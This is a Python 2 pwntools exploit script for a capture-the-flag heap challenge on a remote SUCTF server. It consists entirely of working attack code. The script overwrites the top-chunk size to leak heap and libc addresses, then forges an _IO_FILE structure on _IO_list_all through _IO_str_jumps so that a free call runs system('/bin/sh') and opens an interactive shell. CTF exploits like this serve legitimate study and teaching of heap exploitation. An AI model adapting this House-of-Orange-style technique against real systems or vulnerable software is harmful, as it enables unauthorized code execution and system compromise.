1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| #!/usr/bin/env python2
from pwn import * from IPython import embed import re
context.arch = 'amd64'
r = remote('pwn.suctf.asuri.org', 20003)
def add(size, content): r.sendlineafter('>>', '1') r.sendlineafter('Size:', str(size)) r.sendlineafter('Content:', content)
def show(idx): r.sendlineafter('>>', '2') r.sendlineafter('Index:', str(idx)) r.recvuntil('Content:') return r.recvuntil('1.Add a not', drop=True)
def pandora(): r.sendlineafter('>>', '3') r.sendlineafter('yes:1)', '1')
add(10, 'a'*24+flat(0xec1)) add(4000, 'a') pandora() x = show(0).strip() heap = u64(x.ljust(8, '\x00')) - 0x140 print 'heap:', hex(heap) add(0x90-8, 'a'*7) x = show(1).strip() libc = u64(x.ljust(8, '\x00')) - 0x3bfb58 print 'libc:', hex(libc)
#_IO_list_all = libc + 0x3c5520 _IO_list_all = libc + 0x3c0500 _IO_str_jumps = libc + 0x3bc4c0 #system = libc + 0x45390 system = libc + 0x456d0 pop_rax_rbx_rbp = libc + 0x1fa71 ret = libc + 0x1fa74 add(10, flat( 'a'*16, 0x0, 0x61, 0, _IO_list_all-0x10, 0, 1, 0, heap+0x1a0, heap+0x1a0, # buf_base to heap & buf_end-buf_base==0 [0]*18, _IO_str_jumps, ret, system, # malloc do nothing, free(buf_base) == system('/bin/sh') '/bin/sh\x00', ))
#raw_input("@") r.sendlineafter('>>', '1') r.sendlineafter('Size:', '10')
#embed() r.interactive()
|